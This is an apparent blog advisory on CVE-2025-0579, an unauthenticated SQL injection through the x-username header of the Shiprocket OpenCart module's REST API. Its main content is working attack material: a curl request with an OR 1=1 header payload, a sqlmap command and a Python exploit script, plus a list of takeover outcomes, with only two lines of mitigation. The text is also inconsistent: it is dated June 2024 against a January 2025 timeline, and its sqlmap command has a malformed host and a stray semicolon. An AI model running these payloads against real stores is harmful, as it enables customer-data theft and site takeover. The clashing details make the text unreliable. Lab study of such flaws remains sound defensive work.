Published: June 2024
Severity: Critical
CVSS Score: 9.8 (Critical)

Recently, a serious vulnerability was discovered in the popular Shiprocket Module (versions 3 and 4) for OpenCart. Identified as CVE-2025-0579, this flaw allows anyone on the internet to leverage a remote SQL injection via the module’s REST API, putting store data, user information, and backend access at significant risk.

This post breaks down the vulnerability in simple terms, offers exploit details, and includes actionable code snippets for testing in your own lab. We’ll also point to references and offer guidance for mitigation—especially crucial since the vendor has not yet responded to disclosures or released a fix.

What is CVE-2025-0579?

CVE-2025-0579 is a critical SQL Injection flaw in the Shiprocket Module’s REST API endpoint, specifically handled by /index.php?route=extension/shiprocket/module/restapi. The vulnerability is triggered via an HTTP request header—namely the x-username argument, which the application fails to sanitize before placing in a constructed SQL query.

Any remote attacker with network access can exploit this flaw—authentication is not required.

Why Does it Matter?

- The flaw is critical—it could give attackers total control over your OpenCart store and database.
- Payloads have been publicly disclosed, opening the door to mass exploitation and automated attacks.
- The vendor has not replied to disclosure notifications, nor issued a patch at the time of writing.

Module: Shiprocket for OpenCart (v3 & v4)

- File: /index.php?route=extension/shiprocket/module/restapi

Vulnerable Parameter: HTTP Header x-username

- Type: SQL Injection (classic, error-based/tested)

Example Exploit Request

A vulnerable OpenCart instance can be exploited with a simple curl request by manipulating the x-username header:

curl -i -s -k -X $'POST' \
    -H $'x-username: admin\' OR 1=1 -- ' \
    -d $'{"order_id":1234}' \
    'https://example.com/index.php?route=extension/shiprocket/module/restapi';

What’s happening?
If the backend inserts x-username directly into a SQL query (i.e., SELECT * FROM users WHERE username = '$x_username'), the payload closes the quote and adds an OR 1=1 clause, bypassing authentication or dumping extra data.

Demonstration in a Lab (PoC)

Step 1: Set up a local vulnerable OpenCart instance with Shiprocket Module 3.x/4.x installed.

Step 2: Trigger the API with an injection attempt using sqlmap

sqlmap -u 'http://127...1/index.php?route=extension/shiprocket/module/restapi'; \
    --method=POST \
    -H "x-username: test" \
    --headers="Content-Type: application/json" \
    --data='{"order_id":"1"}' \
    -p "x-username"

Step 3: Discover the DB structure, dump tables, enable authentication bypass, etc.

Databases & User Info: Attackers can dump customer data and orders.

- Privilege Escalation: With the right injection, attackers can log in as any admin, reset passwords, or even drop tables.

Website Defacement: By modifying site content or injecting malicious scripts.

- Ransomware & Pivot: Full database access may allow ransomware or launching further attacks against the server.

Exploit Script Example

Below is a rudimentary Python script for testing exploitation (to be run only in your own legal test labs):

import requests

target_url = 'https://target-opencart.com/index.php?route=extension/shiprocket/module/restapi';
headers = {
    "x-username": "admin' OR 1=1 -- ",
    "Content-Type": "application/json"
}
data = '{"order_id": 1}'

r = requests.post(target_url, headers=headers, data=data)
print(r.text)

References:

- Original advisory (Packet Storm)
- NVD CVE entry
- OpenCart Shiprocket Plugin
- OWASP SQL Injection Guide

Disable the Shiprocket Module REST API if not strictly required.

- Filter/Block requests with suspicious x-username or similar headers at your web server (nginx/apache).

Final Notes

This vulnerability is critical, easy-to-exploit, with working exploits available. If you manage an OpenCart store using Shiprocket Module 3/4, you must act fast to secure your store and customer data. Connect with the OpenCart community for patches or temporary fixes and watch for updates from Shiprocket.

Share this post to alert fellow site owners—sometimes the simplest issues cause the biggest problems.


*Content exclusive. Reproduction restricted. For responsible use only—test and exploit only your own property/lab!*

Timeline

Published on: 01/20/2025 03:15:08 UTC